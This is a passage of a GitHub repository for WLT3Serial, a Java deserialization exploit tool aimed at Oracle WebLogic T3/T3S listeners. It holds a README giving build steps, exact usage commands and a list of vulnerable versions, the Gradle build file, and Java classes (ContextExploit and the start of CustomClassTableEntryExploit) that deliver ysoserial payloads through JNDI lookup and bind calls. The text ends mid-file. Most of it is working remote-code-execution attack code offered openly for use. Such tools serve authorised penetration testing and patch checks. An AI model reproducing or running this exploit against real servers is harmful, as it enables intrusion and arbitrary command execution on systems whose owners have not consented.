├── .gitignore ├── LICENSE ├── README.md ├── build.gradle ├── src ├── bort │ └── millipede │ │ └── wlt3 │ │ ├── ContextExploit.java │ │ ├── CustomClassTableEntryExploit.java │ │ ├── CustomSSLSocketFactory.java │ │ ├── TrustAllCertsManager.java │ │ ├── WLNamingExploit.java │ │ ├── WLT3Serial.java │ │ └── WLT3SerialHelper.java └── weblogic │ └── rjvm │ └── ClassTableEntry.java └── tests └── bort └── millipede └── wlt3 └── tests ├── WLT3SerialTestHelper.java ├── WebServerTestHelper.java ├── exploit ├── CommonsCollectionsLinuxTests.java ├── CommonsCollectionsWindowsTests.java ├── Jdk7u21LinuxTests.java └── Jdk7u21WindowsTests.java └── ssltls ├── SSLv2Test.java ├── SSLv3Test.java ├── TLSv11Test.java ├── TLSv12Test.java └── TLSv1Test.java /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | # Mobile Tools for Java (J2ME) 4 | .mtj.tmp/ 5 | 6 | # Package Files # 7 | *.jar 8 | *.war 9 | *.ear 10 | 11 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 12 | hs_err_pid* 13 | 14 | #gradle build files 15 | build/* 16 | .gradle/* 17 | 18 | #test truststore 19 | jssecacerts 20 | 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Jeffrey Cap (Bort-Millipede) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WLT3Serial 2 | Native Java-based deserialization exploit for WebLogic T3 (and T3S) listeners (as outlined [HERE](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic "What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.")). Requires third-party dependencies ysoserial and wlthint3client. 3 | 4 | ## Advantages/Disadvantages compared to [JavaUnserializeExploits weblogic.py](https://github.com/breenmachine/JavaUnserializeExploits/blob/master/weblogic.py) and [loubia](https://github.com/metalnas/loubia) 5 | ### Advantages: 6 | * Handles T3/T3S communication natively (for most exploitation methods) with Java instead of using one-time packet captures with Python scripts, and therefore should work against all WebLogic server versions. 7 | * Generates object payloads directly through ysoserial during every execution instead of one-time-generated object payloads, and therefore supports all object payload types in the latest ysoserial version. 8 | * Parses (and displays if requested) all thrown Exceptions during execution, and clearly states the assumed overall result of execution based off these Exceptions. This includes notifying the user if exploitation appears to be successful, if SSL/TLS-enabled communication failed, or if the target WebLogic server appears to be patched against exploitation. 9 | * Offers several different methods for payload delivery (similar to both JavaUnserialize weblogic.py/loubia and ysoserial.exploit.RMIRegistryExploit). 10 | 11 | ### Disadvantages: 12 | * Depends on a .jar file (wlthint3client.jar) that cannot be distributed by me (due to Oracle Licensing terms) and can only be downloaded with an Oracle username/password. Because of this, I can only distribute a "thin" release jar that still requires the user to obtain the required wlthint3client.jar file from Oracle. 13 | * Due to issues with how the JVM loads classes during initialization, the usage of a full all-in-one executable WLT3Serial jar file (WLT3Serial-full-[VERSION].jar) is no longer supported. Therefore, WLT3Serial requires multiple files (outlined below) to run properly with full functionality. 14 | 15 | # Building 16 | Requires Oracle Java 7 or 8. Has not been tested with any other Java vendor (such as OpenJDK or IBM JRE), so I make no promises of support for these. Can likely be built with Java 9 or 10, but I make no promises of support for these. 17 | 18 | WLT3Serial is built via the [Gradle](https://gradle.org/) build automation system. Gradle 4 should be used for building, although other versions have been partially tested (see Development section). 19 | 20 | Third-Party Dependencies: 21 | 22 | * [ysoserial](https://github.com/frohoff/ysoserial) - For generating object deserialization payloads; Version v0.0.5 or higher required (will be downloaded automatically by Gradle if not provided in advance by user.) 23 | * wlthint3client - For handling T3/T3S connections natively; must be supplied by the user (due to Oracle Licensing terms): Can be downloaded (requires Oracle username/password) as part of wls1036_dev.zip file (located in /wlserver/server/lib/wlthint3client.jar) hosted on [this page](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) ("Zip distribution for Mac OSX, Windows, and Linux" under "Oracle WebLogic Server 10.3.6" section). 24 | 25 | Procedure: 26 | 27 | 1. Clone the WLT3Serial repository. ```git clone https://github.com/Bort-Millipede/WLT3Serial.git``` 28 | 2. Open terminal and navigate to cloned repository. 29 | 3. Execute the following command to create the preliminary build directory: ```gradle clean prepare``` 30 | 4. Place downloaded wlthint3client.jar file in the build/libs/ directory. 31 | 5. (OPTIONAL) If using a preferred version of ysoserial (v0.0.5 or higher), place the ysoserial.jar file in the build/libs/ directory. 32 | 6. To build the WLT3Serial jar file (located at build/libs/WLT3Serial-[VERSION].jar), execute the following command: ```gradle build -x test``` 33 | 34 | 35 | # Usage 36 | Requires Oracle Java 7 or 8. Has not been tested with any other Java vendor (such as OpenJDK or IBM JRE), so I make no promises of support for these. Can likely be used with Java 9 or 10, but I make no promises of support for these. 37 | 38 | If using the Property (default), Bind or WLBind exploitation methods, WLT3Serial should be executed as such (note the value of the java '-cp' parameter): 39 | 40 | * on *nix: ```java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD``` 41 | * on Windows: ```java -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD``` 42 | 43 | If using the CustomClass exploitation method, WLT3Serial should be executed as such (note the value of the java '-cp' parameter): 44 | 45 | * on *nix: ```java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD``` 46 | * on Windows: ```java -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD``` 47 | 48 | Below is the printout of the built-in help menu: 49 | 50 | ```shell 51 | Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD 52 | 53 | Options: 54 | --help print usage (you're lookin at it) 55 | 56 | --verbose Verbose output (full thrown exception output; Disabled by default) 57 | 58 | --method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload 59 | Exploit Methods: 60 | Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit) 61 | Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit) 62 | WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit) 63 | CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py) 64 | 65 | --t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default) 66 | Protocols: 67 | TLSv1.2 68 | TLSv1.1 69 | TLSv1 (Default) 70 | SSLv3 71 | SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation) 72 | 73 | 74 | Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types): 75 | (available payloads listed here) 76 | ``` 77 | 78 | ## Exploit Method Notes 79 | The Property, Bind, and WLBind methods are all very similar. This is to the point that if a target system cannot be exploited using one of these methods, then it likely cannot be exploited using any of them. The CustomClass method is completely different from the other methods. 80 | ### Advantages/Disadvantages of Property/Bind/WLBind Methods: 81 | * Advantage: Because these methods perform attempted exploitation via available WebLogic classes/methods from the wlthint3client.jar file, T3/T3S communication is handled natively and meaningful output (Exceptions, stack traces, etc.) is generated to aid users in determining exploitation potential and success. 82 | * Disadvantage: As of writing, Oracle has patched most (if not all) modes of exploitation using these methods. 83 | ### Advantage/Disadvantages of CustomClass Method: 84 | * Advantage: Because this method attacks a different WebLogic classloader (which contains additional vulnerable libraries) than the above methods, newer successful modes of exploitation are available. 85 | * Disadvantage: Because of the nature of how this method delivers payloads to target servers (by essentially crippling native T3/T3S communcation), meaningful output (Exceptions, stack traces, etc.) to aid users in determining exploitation potential and success cannot be generated 86 | 87 | ## T3S Connection Notes 88 | it is recommended that the user does a scan of the target service with [sslscan](https://github.com/rbsec/sslscan) or the [nmap ssl-enum-ciphers script](https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html) to find out which protocols are supported. This way, the user can fine-tune the ```--t3s``` option when executing WLT3Serial. 89 | 90 | # Development 91 | In an attempt to improve upon the [JavaUnserializeExploits weblogic.py](https://github.com/breenmachine/JavaUnserializeExploits/blob/master/weblogic.py) and [loubia](https://github.com/metalnas/loubia) exploits, WLT3Serial was developed in Java using the following resources for connecting to WebLogic T3/T3S services: 92 | 93 | * [https://docs.oracle.com/cd/E21764_01/web.1111/e13717/wlthint3client.htm](https://docs.oracle.com/cd/E21764_01/web.1111/e13717/wlthint3client.htm) 94 | * [https://docs.oracle.com/cd/E13222_01/wls/docs92/jndi/jndi.html](https://docs.oracle.com/cd/E13222_01/wls/docs92/jndi/jndi.html) 95 | * [https://docs.oracle.com/cd/E11035_01/wls100/javadocs/weblogic/rmi/Naming.html](https://docs.oracle.com/cd/E11035_01/wls100/javadocs/weblogic/rmi/Naming.html) 96 | * [https://gist.github.com/fkrauthan/ac8624466a4dee4fd02f](https://gist.github.com/fkrauthan/ac8624466a4dee4fd02f) 97 | 98 | Emphasis was placed on handling T3 connections natively in Java, as well as proper error handling to provide helpful command output for the user. 99 | 100 | WLT3Serial was developed using the following software versions: 101 | 102 | * Oracle Java 8 Update 191 103 | * Oracle Java 7 Update 80 and Oracle Java 7 Update 17 104 | * Gradle 4.10.2, 3.2 (partially tested), 2.10 (partially tested), 1.4 (partially tested) 105 | 106 | Live testing during development was conducted against the following versions of WebLogic Server: 107 | 108 | * 10.3.6 109 | * 12.1.3 110 | * 12.2.1.1 (only vulnerable to certain payload types and exploitation methods) 111 | * 12.2.1.2 (only vulnerable to certain payload types and exploitation methods) 112 | * 12.2.1.3 (partially vulnerable) 113 | 114 | # Disclaimer 115 | The developers provide the software for free without warranty, and assume no responsibility for any damage caused to systems by using the software. It is the responsibility of the user to abide by all local, state and federal laws while using the software. 116 | 117 | # Copyright 118 | (C) 2017, 2018 Jeffrey Cap (Bort_Millipede) 119 | 120 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | repositories { 2 | mavenCentral() 3 | } 4 | 5 | apply plugin: 'base' 6 | apply plugin: 'java' 7 | 8 | version = 0.4 9 | sourceCompatibility = 1.7 10 | def libsDir = new File(project.buildDir,'libs') 11 | def wlt3ClassesDir = new File(project.buildDir,'classes/java/main/bort/millipede/wlt3') 12 | 13 | //get local IP address of host executing gradle build process 14 | def getLocalIP() { 15 | Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); 16 | while(ifaces.hasMoreElements()) { 17 | NetworkInterface iface = ifaces.nextElement(); 18 | if(iface.isUp() && !iface.isLoopback()) { 19 | Enumeration addrs = iface.getInetAddresses(); 20 | while(addrs.hasMoreElements()) { 21 | String addr = addrs.nextElement().getHostAddress(); 22 | if(!addr.contains(":")) { 23 | return addr 24 | } 25 | } 26 | } 27 | } 28 | } 29 | 30 | dependencies { 31 | compile fileTree(dir: project.buildDir.absolutePath+"/libs", include: ["ysoserial*.jar","wlthint3client*.jar"]) 32 | testCompile "junit:junit:4.12" 33 | } 34 | 35 | sourceSets { 36 | main { 37 | java { 38 | srcDir 'src' 39 | } 40 | } 41 | test { 42 | java { 43 | srcDir 'tests' 44 | } 45 | } 46 | } 47 | 48 | task prepare { 49 | doLast { 50 | project.mkdir(project.buildDir) 51 | libsDir.mkdirs() 52 | wlt3ClassesDir.mkdirs() 53 | } 54 | } 55 | 56 | task getYSS { 57 | doLast { 58 | FileTree tree = fileTree(dir: libsDir, include: ['ysoserial*.jar']) 59 | if(tree.isEmpty()) { 60 | println "downloading ysoserial v0.0.5" 61 | File ysJar = new File(libsDir,'ysoserial-v0.0.5.jar') 62 | new URL('https://jitpack.io/com/github/frohoff/ysoserial/v0.0.5/ysoserial-v0.0.5.jar').withInputStream{ i -> ysJar.withOutputStream{ it << i }} 63 | } 64 | } 65 | } 66 | 67 | task checkWLClient { 68 | doLast { 69 | FileTree tree = fileTree(dir: libsDir, include: ['wlthint3client*.jar']) 70 | if(tree.isEmpty()) { 71 | throw new GradleException("Required jar file wlthint3client.jar not present in "+libsDir.absolutePath+" directory! Build cannot continue!\n\n"+ 72 | "Download wls1036_dev.zip file from http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html (\"Zip distribution for Mac OSX, Windows, and Linux\" under \"Oracle WebLogic Server 10.3.6\" section) and extract wlthint3client.jar (/wlserver/server/lib/wlthint3client.jar) file into "+libsDir.absolutePath+" directory!") 73 | } 74 | } 75 | } 76 | 77 | getYSS.dependsOn prepare 78 | checkWLClient.dependsOn getYSS 79 | compileJava.dependsOn checkWLClient 80 | 81 | //disabled for now, may be removed later. 82 | /*task fatJar(type: Jar) { 83 | manifest { 84 | attributes 'Main-Class': 'bort.millipede.wlt3.WLT3Serial' 85 | } 86 | baseName = project.name + '-full' 87 | from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } 88 | with jar 89 | }*/ 90 | 91 | /* 92 | parameters (specified at runtime with "gradle -Dparam=val test"): 93 | (required) 94 | wlt3.target.host: target host to use 95 | wlt3.target.t3.port: T3 port to use on target host 96 | wlt3.target.t3s.port: T3S port to use on target hosts 97 | (optional) 98 | wlt3.test.server.port: local port for web server to listen on 99 | wlt3.test.tries: number of times to verify whether target system has accessed local web server 100 | wlt3.test.verbose: verbose WLT3Serial output (true or false) 101 | */ 102 | test { 103 | useJUnit { 104 | //required test input properties 105 | systemProperty "wlt3.target.host", System.getProperty("wlt3.target.host") 106 | systemProperty "wlt3.target.t3.port", System.getProperty("wlt3.target.t3.port") 107 | systemProperty "wlt3.target.t3s.port", System.getProperty("wlt3.target.t3s.port") 108 | systemProperty "localhost.ip", getLocalIP() 109 | 110 | //optional test input properties 111 | def serverPort = System.getProperty("wlt3.test.server.port") 112 | if(serverPort != null) systemProperty "wlt3.test.server.port", serverPort 113 | def tries = System.getProperty("wlt3.test.tries") 114 | if(tries != null) systemProperty "wlt3.test.tries", tries 115 | def verbose = System.getProperty("wlt3.test.verbose") 116 | if(verbose != null) systemProperty "wlt3.test.verbose", verbose 117 | 118 | forkEvery = 1 119 | scanForTestClasses = true 120 | testLogging.showStandardStreams = true 121 | } 122 | testLogging { 123 | exceptionFormat "full" 124 | } 125 | } 126 | 127 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/ContextExploit.java: -------------------------------------------------------------------------------- 1 | /* 2 | ContextExploit.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Class for executing java deserialization exploit against WebLogic Servers by way of connection property (runPropertyExploit) or remote object bind (runBindExploit). 7 | For T3S connections, JVM SSL/TLS settings (enabled protocol(s), disabling certification validation, etc.) must be configured BEFORE calling runPropertyExploit or 8 | runBindExploit methods. 9 | */ 10 | 11 | package bort.millipede.wlt3; 12 | 13 | import java.util.Hashtable; 14 | import javax.naming.Context; 15 | import javax.naming.InitialContext; 16 | import javax.naming.CommunicationException; 17 | import javax.naming.NameNotFoundException; 18 | import javax.naming.NamingException; 19 | import javax.naming.NoInitialContextException; 20 | 21 | class ContextExploit { 22 | 23 | //Run deserialization exploit by sending payload as connection environment property value (Default, via javax.naming.Context.lookup(), similar to JavaUnserializeExploits weblogic.py) 24 | //if using T3S, desired SSL/TLS protocols must be enabled/disabled prior to method call 25 | static void runPropertyExploit(Object payload,String host,int port,boolean t3s,boolean verbose) { 26 | String protocol = "t3"; 27 | if(t3s) protocol = "t3s"; 28 | 29 | //set connection properties 30 | Hashtable env = new Hashtable(); 31 | env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory"); 32 | env.put(Context.PROVIDER_URL,protocol+"://"+host+":"+Integer.toString(port)); 33 | 34 | //open connection and send payload 35 | Context ctx = null; 36 | try { 37 | ctx = new InitialContext(env); 38 | System.out.print("\b\b\b\bsucceeded!\n"); 39 | System.out.println("Executing \"Property\" exploit method: Adding connection environment property containing object payload and performing lookup."); 40 | ctx.addToEnvironment("Prune_Tracy"+System.nanoTime(),payload); //connection environment property-based exploitation 41 | ctx.lookup("Prune_Tracy"+System.nanoTime()); 42 | System.out.println("No Exception(s) thrown, exploitation may be successful!"); 43 | } catch(CommunicationException ce) { //javax.naming.CommunicationException thrown: parse output 44 | parseCommunicationException(ce,protocol,host,port,verbose); 45 | } catch(NamingException ne) { //javax.naming.NamingException thrown: parse output 46 | parseNamingException(ne,protocol,host,port,verbose,"runPropertyExploit"); 47 | } catch(Exception e) { //Unknown error 48 | System.err.println("Unknown Error occurred ("+e.getClass().getName()+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 49 | if(verbose) { 50 | System.err.print("\n"); 51 | e.printStackTrace(); 52 | } 53 | } finally { 54 | try { 55 | ctx.close(); 56 | } 57 | catch (Exception e) { 58 | //don't care 59 | } 60 | } 61 | } 62 | 63 | //Run deserialization exploit by sending payload as object to bind to name (via javax.naming.Context.bind(), also similar to JavaUnserializeExploits weblogic.py) 64 | //if using T3S, desired SSL/TLS protocols must be enabled/disabled prior to method call 65 | static void runBindExploit(Object payload,String host,int port,boolean t3s,boolean verbose) { 66 | String protocol = "t3"; 67 | if(t3s) protocol = "t3s"; 68 | 69 | //set connection properties 70 | Hashtable env = new Hashtable(); 71 | env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory"); 72 | env.put(Context.PROVIDER_URL,protocol+"://"+host+":"+Integer.toString(port)); 73 | 74 | //open connection and send payload 75 | Context ctx = null; 76 | try { 77 | ctx = new InitialContext(env); 78 | System.out.print("\b\b\b\bsucceeded!\n"); 79 | System.out.println("Executing \"Bind\" exploit method: Attempting to bind object payload to remote object."); 80 | ctx.bind("Check_For_Millipedes"+System.nanoTime(),payload); //context bind-based exploitation 81 | System.out.println("No Exception(s) thrown, exploitation may be successful!"); 82 | } catch(CommunicationException ce) { //javax.naming.CommunicationException thrown: parse output 83 | parseCommunicationException(ce,protocol,host,port,verbose); 84 | } catch(NamingException ne) { //javax.naming.NamingException thrown: parse output 85 | parseNamingException(ne,protocol,host,port,verbose,"runBindExploit"); 86 | } catch(Exception e) { //Unknown Error 87 | System.err.println("Unknown Error occurred ("+e.getClass().getName()+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 88 | if(verbose) { 89 | System.err.print("\n"); 90 | e.printStackTrace(); 91 | } 92 | } finally { 93 | try { 94 | ctx.close(); 95 | } catch (Exception e) { 96 | //don't care 97 | } 98 | } 99 | } 100 | 101 | //parse output of expected javax.naming.CommunicationException thrown during attempted exploitation 102 | private static void parseCommunicationException(CommunicationException ce,String protocol,String host,int port,boolean verbose) { 103 | Throwable cause = ce.getCause(); 104 | if(cause!=null) { 105 | String eType = cause.getClass().getName(); 106 | switch(eType) { 107 | case "weblogic.rjvm.PeerGoneException": //Server forcefully closed connection, so server is likely patched 108 | System.err.println("Target WebLogic Server at "+protocol+"://"+host+":"+port+" forcefully closed "+protocol.toUpperCase()+" connection! Server seems to be patched!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 109 | break; 110 | case "java.net.ConnectException": 111 | System.out.print("\b\b\b\bfailed!\n"); 112 | String message = cause.getMessage(); 113 | if(message!=null) { 114 | if(message.contains("java.io.IOException: Empty server reply")) { //Server may not be WebLogic server 115 | System.err.println("Target Server/Port at "+host+":"+port+" does not appear to be running "+protocol.toUpperCase()+"! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 116 | } else if(message.contains("java.net.ConnectException: Connection refused")) { //host is down or port is closed 117 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" refused! Target host appears to be down or port is closed!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 118 | } else if(message.contains("javax.net.ssl.SSLHandshakeException")) { 119 | if(message.contains("handshake_failure")) { //SSL Handshake failed due to mismatched supported protocols 120 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed (Handshake Error)! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 121 | } else if(message.contains("Remote host closed connection during handshake")) { //SSL Handshake failed due to server not supporting encrypted connections 122 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 123 | } else { //SSL Handshake failed because server may only support clear-text connection 124 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 125 | } 126 | } else if(message.contains("javax.net.ssl.SSLException: Unsupported record version")) { //T3S connection failed due to mismatched supported protocols 127 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 128 | } else if(message.contains("javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?")) { //T3S connection failed due to server not supporting encrypted connections 129 | System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 130 | } else if(message.contains("java.net.SocketException: Connection reset") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection 131 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 132 | } else { //Unknown Connection Error 133 | System.err.println("Unknown Connection Error occurred: connection failed"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 134 | } 135 | } 136 | break; 137 | case "weblogic.socket.UnrecoverableConnectException": 138 | System.out.print("\b\b\b\bfailed!\n"); 139 | message = cause.getMessage(); 140 | if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection 141 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 142 | } else if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3S")) { //encrypted connection failed because server only supports clear-text connection 143 | System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 144 | } else { //Unknown Unrecoverable Connection Error 145 | System.err.println("Unknown Unrecoverable Connection Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 146 | } 147 | break; 148 | default: //Unknown Connection Error 149 | System.out.print("\b\b\b\b???\n"); 150 | System.err.println("Unknown Connection Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 151 | break; 152 | } 153 | } else { //Unknown Communication Error 154 | System.out.print("\b\b\b\b???\n"); 155 | System.err.println("Unknown Communication Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 156 | } 157 | 158 | if(verbose) { //print full stack trace output if --verbose option is set 159 | System.err.print("\n"); 160 | ce.printStackTrace(); 161 | } 162 | } 163 | 164 | private static void parseNamingException(NamingException ne,String protocol,String host,int port,boolean verbose, String methodName) { 165 | if(ne instanceof NoInitialContextException) { 166 | String message = ne.getMessage(); 167 | if(message.contains("weblogic")) { 168 | System.out.println("\b\b\b\bfailed!"); 169 | System.err.println("Error loading wlthint3client! Ensure that wlthint3client.jar file is in class path!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 170 | } else { 171 | System.err.println("Unknown Intial Context Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 172 | } 173 | } else if(ne instanceof NameNotFoundException) { 174 | if(methodName.equals("runPropertyExploit")) { 175 | System.out.println("javax.naming.NameNotFoundException thrown, but this is normal for \"Property\" exploit method. Exploitation may be successful!"+(verbose ? "" : " Re-run with --verbose option to see full Exception output!")); 176 | } else { 177 | System.err.println("Unknown Name Not Found Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 178 | } 179 | } else { 180 | Throwable cause = ne.getCause(); 181 | if(cause!=null) { 182 | String eType = cause.getClass().getName(); 183 | switch(eType) { 184 | case "java.rmi.MarshalException": 185 | String message = cause.getMessage(); 186 | if(message.contains("java.lang.ClassNotFoundException")) { 187 | System.err.println("Target WebLogic Server at "+protocol+"://"+host+":"+port+" does not appear to be vulnerable to chosen exploit method and/or payload type! Try a different exploit method (such as CustomClass) and/or payload type!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 188 | } 189 | break; 190 | default: //Unknown Naming error 191 | System.err.println("Unknown Naming Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 192 | break; 193 | } 194 | } else { //Unknown Naming Error 195 | System.out.print("\b\b\b\b???\n"); 196 | System.err.println("Unknown Naming Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 197 | } 198 | } 199 | 200 | if(verbose) { //print full stack trace output if --verbose option is set 201 | System.err.print("\n"); 202 | ne.printStackTrace(); 203 | } 204 | } 205 | } 206 | 207 | -------------------------------------------------------------------------------- /src/bort/millipede/wlt3/CustomClassTableEntryExploit.java: -------------------------------------------------------------------------------- 1 | /* 2 | CustomClassTableEntryExploit.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Class for executing java deserialization exploit against WebLogic Servers by way of a custom implementation of the weblogic.rjvm.ClassTableEntry class 7 | For T3S connections, JVM SSL/TLS settings (enabled protocol(s), disabling certification validation, etc.) must be configured BEFORE calling 8 | runCustomClassExploit method. 9 | */ 10 | 11 | package bort.millipede.wlt3; 12 | 13 | import java.util.Hashtable; 14 | import javax.naming.Context; 15 | import javax.naming.InitialContext; 16 | import javax.naming.CommunicationException; 17 | 18 | class CustomClassTableEntryExploit { 19 | static void runCustomClassExploit(String host,int port,boolean t3s,boolean verbose) { 20 | String protocol = "t3"; 21 | if(t3s) protocol = "t3s"; 22 | 23 | //set connection properties 24 | Hashtable env = new Hashtable(); 25 | env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory"); 26 | env.put(Context.PROVIDER_URL,protocol+"://"+host+":"+Integer.toString(port)); 27 | 28 | //open connection and send payload 29 | Context ctx = null; 30 | try { 31 | ctx = new InitialContext(env); 32 | System.out.print("\b\b\b\bsucceeded!\n"); 33 | System.out.println("No Exception(s) thrown, exploitation may be successful!"); 34 | } catch(CommunicationException ce) { 35 | parseCommunicationException(ce,protocol,host,port,verbose); 36 | } catch(Exception e) { 37 | System.err.println("Unknown Error occurred ("+e.getClass().getName()+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!")); 38 | if(verbose) { 39 | System.err.print("\n"); 40 | e.printStackTrace(); 41 | } 42 | } finally { 43 | try { 44 | ctx.close(); 45 | } 46 | catch (Exception e) { 47 | //don't care 48 | } 49 | } 50 | } 51 | 52 | //parse output of expected javax.naming.CommunicationException thrown during attempted exploitation 53 | private static void parseCommunicationException(CommunicationException ce,String protocol,String host,int port,boolean verbose) { 54 | Throwable cause = ce.getCause(); 55 | if(cause!=null) { 56 | String eType = cause.getClass().getName(); 57 | switch(eType) { 58 | case "java.net.ConnectException": 59 | String message = cause.getMessage(); 60 | if(message!=null) { 61 | if(message.contains("Bootstrap") && message.contains("failed") && message.contains("remote side declared peer gone on this JVM")) { //exploit may have succeeded 62 | System.out.print("\b\b\b\b???\n"); 63 | System.err.println("\"peer gone\" error occurred, but this can be normal for \"CustomClass\" exploit method. Exploitation may be successful!"+(verbose ? "" : "\nRe-run with --verbose 